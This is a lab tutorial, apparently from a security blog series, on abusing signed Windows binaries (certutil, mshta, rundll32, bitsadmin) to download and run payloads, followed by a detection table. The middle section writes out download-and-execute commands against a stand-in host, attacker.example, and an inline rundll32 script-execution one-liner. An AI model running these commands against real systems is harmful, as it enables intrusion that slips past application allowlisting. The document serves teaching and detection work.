Living Off the Land: certutil, mshta, rundll32, and Bitsadmin as Attacker Primitives
Lab-only note: same simulated CONTOSO.LOCAL domain built out across the Impacket Deep Dive and Pivoting and Tunneling series — foothold on WKS01, domain controller DC01, file server FS01. Authorised testing only. The commands below are the LOLBAS project’s own documented usage for each binary, cited rather than reconstructed from memory.
The gap this fills
Impacket’s whole arc so far has been bring-your-own-tooling: secretsdump.py, wmiexec.py, ticketer.py all ship attacker logic to the target over the wire. Living-off-the-land binaries flip that — the tooling is already sitting on WKS01, signed by Microsoft, whitelisted by default on every application-control policy that trusts anything with a valid signature, and doing exactly what it was shipped to do. The abuse is entirely in what you point it at, not in anything novel about the binary itself.
That’s also precisely why it survives so much: a security team that’s built detection around “unsigned or unknown binary executes” has built nothing that catches certutil.exe, because certutil.exe is supposed to be there and is supposed to run.
Four binaries, four legitimate jobs, four abuses
certutil — real job: managing certificates and certificate authority data. Its -urlcache switch is meant for retrieving CA data over HTTP, and the same switch retrieves anything else at that URL just as happily:
certutil.exe -urlcache -split -f http://attacker.example/payload.exe C:\Windows\Temp\payload.exe
-split handles the response in chunks (needed for anything larger than certutil’s default expectations), -f forces overwrite of an existing destination file. The same binary also has an -encode/-decode pair meant for converting certificates to and from base64 — repurposed to stage a payload as base64 text (which looks like nothing to a naive content filter) and decode it back to a binary once it’s already past the perimeter.
mshta — real job: running HTML Applications (.hta), a legacy but still-shipped mechanism for desktop apps built out of HTML plus a scripting engine with full Windows Script Host access, not the sandboxed access a browser tab gets:
mshta.exe http://attacker.example/payload.hta
The HTA it fetches can contain VBScript or JScript with the same privileges as any other script host on the box — mshta is the launcher, and because it’s a legitimate signed component of Internet Explorer’s HTA support, it launches without any of the browser-level warnings a .exe download would trigger.
rundll32 — real job: loading a function out of a DLL and calling it, the mechanism half of Windows’ own Control Panel applets are built on. Its documented abuse path runs through mshtml.dll’s RunHTMLApplication export, which accepts inline script:
rundll32.exe javascript:"\..\mshtml,RunHTMLApplication";document.write();h=new ActiveXObject("WScript.Shell").Run("cmd /c whoami")
That one line asks a DLL loader to execute arbitrary script via an ActiveX shell object — no .exe, no .hta file ever written to disk, the entire payload living in a single command line.
bitsadmin — real job: BITS (Background Intelligent Transfer Service), the same throttled, resumable, network-aware transfer mechanism Windows Update itself uses. Its documented /transfer usage is a straight download primitive:
bitsadmin /transfer myjob /download /priority high http://attacker.example/payload.exe C:\Windows\Temp\payload.exe
Because it’s a scheduled BITS job rather than a foreground network connection, it inherits BITS’ own throttling and survives reboots and network interruptions — resilience features built for legitimate patch delivery, just as useful for staging a payload that shouldn’t be rushed or interrupted.
Why signed-binary allowlisting doesn’t stop this
Every one of these four ships in a default Windows install, is signed by Microsoft, and is exactly the kind of binary an AppLocker or WDAC policy built around “allow anything Microsoft-signed” waves straight through — the entire category exists because binary allowlisting answers “is this trusted code,” not “is this trusted code being used for its intended purpose.” That’s a fundamentally different question, and it’s the same gap Impacket Part 6 walked through for wmiexec/smbexec/atexec — three more binaries (wmic, services.exe, the task scheduler) that are entirely legitimate Windows components being asked to do something legitimate-shaped but attacker-directed.
What actually catches it
None of the four binaries are inherently suspicious, so detection has to live in how they’re invoked, not that they ran:
| Signal | What to look for |
|---|---|
| Command-line arguments | certutil -urlcache/-decode against anything other than a known CA endpoint, bitsadmin /transfer outside patch-management windows, rundll32 invoked with javascript: rather than a DLL path — Sysmon Event ID 1 (process creation) with full command-line logging is the baseline requirement, nothing here is visible without it |
| Network destination | Any of the four reaching out to a destination that isn’t Microsoft’s own update/CA infrastructure is the strongest single tell — certutil talking to an unfamiliar IP has no legitimate reason to exist |
| Parent process | mshta.exe or rundll32.exe spawned from winword.exe, excel.exe, or an email client rather than from explorer.exe or a management tool is a parent/child relationship that has no benign story |
| BITS job enumeration | bitsadmin /list /allusers (or the modern Get-BitsTransfer) periodically, looking for jobs that don’t correspond to Windows Update or a known software deployment tool — BITS jobs persist and are easy to forget were ever a detection surface |
| File writes to Temp/AppData | certutil and bitsadmin both stage a downloaded file somewhere before execution — Sysmon Event ID 11 (file create) on %TEMP%/%APPDATA% correlated with one of these four processes as the writer closes most of the gap that command-line logging alone leaves |
The Impacket Part 10 event-ID reference cheat sheet already covers the Sysmon config baseline this relies on — process creation and file creation logging aren’t on by default, and everything in the table above depends on both being turned on before the fact, not enabled retroactively after an incident.
Where this sits
LOLBins are the delivery-and-execution layer underneath everything the Impacket and Pivoting and Tunneling series assumed already existed — a foothold on WKS01 capable of running arbitrary commands. Getting a payload onto that foothold in the first place, and running it without tripping an EDR product that’s watching for unsigned executables, is exactly the gap these four binaries fill, and exactly why “we allowlist signed Microsoft binaries” was never a complete answer to “what’s allowed to run on this machine.”